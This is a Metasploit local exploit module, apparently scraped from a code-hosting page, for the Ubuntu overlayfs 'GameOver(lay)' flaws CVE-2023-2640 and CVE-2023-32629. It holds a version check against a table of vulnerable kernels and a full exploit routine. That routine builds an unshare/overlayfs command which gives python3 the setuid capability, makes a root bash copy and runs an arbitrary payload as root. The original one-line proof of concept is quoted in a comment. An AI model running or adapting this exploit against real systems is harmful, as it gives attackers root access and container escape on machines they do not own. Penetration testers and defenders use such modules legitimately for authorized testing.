188 lines
6.7 KiB
Ruby
188 lines
6.7 KiB
Ruby
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Kernel
|
|
include Msf::Post::File
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
|
|
'Description' => %q{
|
|
This module exploits the use of unsafe functions in a number of Ubuntu kernels
|
|
utilizing vulnerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
|
|
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
|
|
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
|
|
called during ovl_do_setxattr without calling the intermediate safety function
|
|
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
|
|
writing setuid capabilities to a file which are not sanitized after being unioned
|
|
with the upper mounted directory.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'g1vi', # PoC
|
|
'h00die', # Module Suggestion
|
|
'bwatters-r7', # MsF Module
|
|
'gardnerapp', # MsF Module
|
|
],
|
|
'Platform' => ['linux', 'unix'],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DisclosureDate' => '2023-07-26',
|
|
'References' => [
|
|
['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
|
|
['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
|
|
['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
|
|
['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
|
|
['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
|
|
['CVE', '2023-32629'],
|
|
['CVE', '2023-2640']
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Linux_Binary',
|
|
{
|
|
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
|
|
'PrependSetuid' => true
|
|
}
|
|
],
|
|
[
|
|
'Linux_Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x22\x27"
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options [
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
|
|
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
|
|
]
|
|
end
|
|
|
|
def vuln
|
|
# Keys are ubuntu versions, vals is list of vulnerable kernels
|
|
{
|
|
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
|
|
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
|
|
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
|
|
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
|
|
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
|
|
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'
|
|
|
|
# Must be Ubuntu
|
|
return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/
|
|
|
|
os = cmd_exec 'cat /etc/os-release'
|
|
|
|
# grab codename i.e. Focal Fossa
|
|
codename = os.scan(/\(\w* \w*\)/)[0]
|
|
|
|
# Remove '(' and ')'
|
|
codename.delete_prefix!('(').delete_suffix!(')')
|
|
|
|
print_status "Detected Ubuntu version: #{codename}"
|
|
|
|
# uname -r
|
|
# yields something like 5.4.0-1018-blah
|
|
kernel = kernel_release
|
|
print_status "Detected kernel version: #{kernel}"
|
|
|
|
# Make sure release is running vulnerable kernel
|
|
# will this return in correct context??
|
|
# could scan kernel to prevent looping if return below doesn't work
|
|
vuln[codename].each do |version|
|
|
if kernel.include? version
|
|
return CheckCode::Vulnerable("#{codename} with #{kernel} kernel is vulnerable")
|
|
end
|
|
end
|
|
|
|
return CheckCode::Safe('Target does not appear to be running a vulnerable Ubuntu Distro or Kernel')
|
|
end
|
|
|
|
def exploit
|
|
pay_dir = datastore['WritableDir']
|
|
pay_dir += '/' unless pay_dir.ends_with? '/'
|
|
|
|
pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'
|
|
|
|
print_status "Creating directory to store payload: #{pay_dir}"
|
|
mkdir pay_dir
|
|
|
|
directories = []
|
|
directories << pay_dir
|
|
|
|
lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
|
|
directories << lower_dir
|
|
|
|
upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
|
|
directories << upper_dir
|
|
|
|
work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
|
|
directories << work_dir
|
|
|
|
merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
|
|
directories << merge_dir
|
|
|
|
bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
|
|
# bash_copy = '/var/tmp/bash'
|
|
|
|
directories.each do |dir|
|
|
print_status "Creating directory #{dir}"
|
|
mkdir dir.to_s
|
|
end
|
|
|
|
if target.arch.first == ARCH_CMD
|
|
payload_cmd = payload.encoded
|
|
else
|
|
pay_file = datastore['PayloadFilename']
|
|
payload_path = "#{pay_dir}#{pay_file}"
|
|
print_status "Writing payload: #{payload_path}"
|
|
write_file(payload_path, generate_payload_exe)
|
|
payload_cmd = payload_path
|
|
end
|
|
|
|
# g1vi original
|
|
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
|
|
|
|
# Exploit overlayfs vuln
|
|
# Build the command
|
|
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"
|
|
|
|
exploit_cmd = 'unshare -rm sh -c "'
|
|
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
|
|
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
|
|
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
|
|
exploit_cmd << "touch #{merge_dir}*; "
|
|
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
|
|
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
|
|
if target.arch.first == ARCH_CMD
|
|
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
|
|
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
|
|
else
|
|
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
|
|
end
|
|
exploit_cmd << "\\\")'\""
|
|
output = cmd_exec(exploit_cmd)
|
|
vprint_status(output)
|
|
end
|
|
|
|
end
|